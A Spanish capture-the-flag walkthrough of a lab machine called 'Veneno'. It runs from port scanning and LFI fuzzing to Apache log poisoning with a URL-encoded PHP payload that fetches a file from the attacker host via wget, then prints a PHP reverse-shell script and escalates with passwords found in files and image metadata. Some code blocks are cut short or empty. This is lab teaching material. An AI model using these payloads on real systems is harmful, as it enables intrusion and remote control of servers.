> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/veneno-write-up.md).
# Veneno write-up
## **Verificamos conexión con la máquina víctima**
## **Realizamos un escaneo para identificar los puertos abiertos de la máquina víctima**
Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:
```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```
El escaneo nos indica que el puerto 22 (SSH) y el 80 (HTTP) están abiertos. Así que ingresamos la IP de la máquina víctima en el navegador y observamos lo siguiente:
Como no vemos nada interesante, vamos a buscar rutas ocultas con la herramienta llamada `gobuster` ejecutando lo siguiente:
```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x txt,html,php,py,bak
```
Esto nos indica la ruta `problems.php`, así que vamos a probar a encontrar un parámetro que nos permita ejecutar comando o explotar un LFI. Para ello utilizaremos `wfuzz` con el siguiente comando:
```bash
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u 172.17.0.2/problems.php?FUZZ=/etc/passwd --hl 363
```
Esto nos indica que podemos ver el contenido del archivo `/etc/passwd` con el parámetro `backdoor`.
Esto nos indica la existencia del usuario `carlos`. Pero ahora lo que haremos será hacer fuzzing con **wfuzz** para ver que archivos podemos observar con el siguiente comando:
```bash
wfuzz -c -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt -u 172.17.0.2/problems.php?backdoor=FUZZ --hl 0
```
Esto nos indica que podemos acceder al **error.log** de apache2. Así que vamos a hacer una petición errónea de la siguiente manera:
```bash
curl http://172.17.0.2/.php
```
De esta manera guardará la petición el log en el error.log y luego podremos hacer que se ejecute el comando. El comando que ejecutaremos será el siguiente:
```bash
.php
```
Para que funcione tendremos que crear un archivo que contenga código PHP, que al ejecutarse nos envie una web shell. Después a ese archivo le pondremos de nombre `index.html` y abrimos un servidor con Python, para que el cuando el servidor ejecute `wget 172.17.0.1`, se descargue el archivo como `index.html`. Y ya después se cambia el nombre del archivo a `shell.php`. El código del archivo malicioso será el siguiente:
```php
array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
// Mostrar mensaje de bienvenida a la shell
fwrite($sock, $welcome_message);
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
```
Lo nombramos como index.html y, a continuación, ejecutamos lo siguiente para levantar un servidor con Python:
```python
python3 -m http.server 80
```
Una vez hecho esto hacemos la siguiente petición (tiene que estar url encodeada para funcionar):
```bash
curl http://172.17.0.2/%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%27%63%64%20%75%70%6c%6f%61%64%73%3b%20%77%67%65%74%20%31%37%32%2e%31%37%2e%30%2e%31%3b%20%6d%76%20%69%6e%64%65%78%2e%68%74%6d%6c%20%73%68%65%6c%6c%2e%70%68%70%27%29%3b%20%3f%3e%2e%70%68%70
```
Y ahora solo debemos que ingresar la siguiente ruta en el navegador para que se ejecute el código que pusimos en la petición:
```url
http://172.17.0.2/problems.php?backdoor=/var/log/apache2/error.log
```
Y ahora su vamos al directorio `http://172.17.0.2/uploads/` nos encontraremos el archivo malicioso `shell.php`.
Ahora nos ponemos en escucha con **netcat** por el puerto 444 y hacemos clic en el archivo `shell.php`.
## **Escalada de privilegios**
Una vez dentro de la máquina víctima nos encontramos la nota `/var/www/html/antiguo_y_fuerte.txt` la cual contiene lo siguiente:
Así que ejecutamos lo siguiente para encontrar archivo con extensión TXT:
```bash
/usr/share/viejuno/inhackeable_pass.txt
```
Este archivo nos indica que la contraseña del usuario `carlos` es `pinguinochocolatero`. Así que iniciamos sesión como el usuario carlos.
Ahora sí vamos al directorio home de carlos encontramos lo siguiente:
Así que vamos a realizar una búsqueda de ficheros con el siguiente comando:
```bash
find . -type f 2>/dev/null
```
Encontramos el archivo `./carpeta55/.toor.jpg`. Por lo que, copiaremos el archivo a nuestra máquina host ejecutando el siguiente comando:
```bash
scp carlos@172.17.0.2:/home/carlos/carpeta55/.toor.jpg .
```
Una vez tenemos la imagen descargada en nuestra máquina víctima ejecutamos lo siguiente para observar los metadatos de la imagen:
```bash
exiftool .toor.jpg
```
Si nos fijamos en el valor del metadato de `Image Quality` observamos que es `pingui1730`, así que utilizamos `pingui1730` como contraseña de usuario `root`.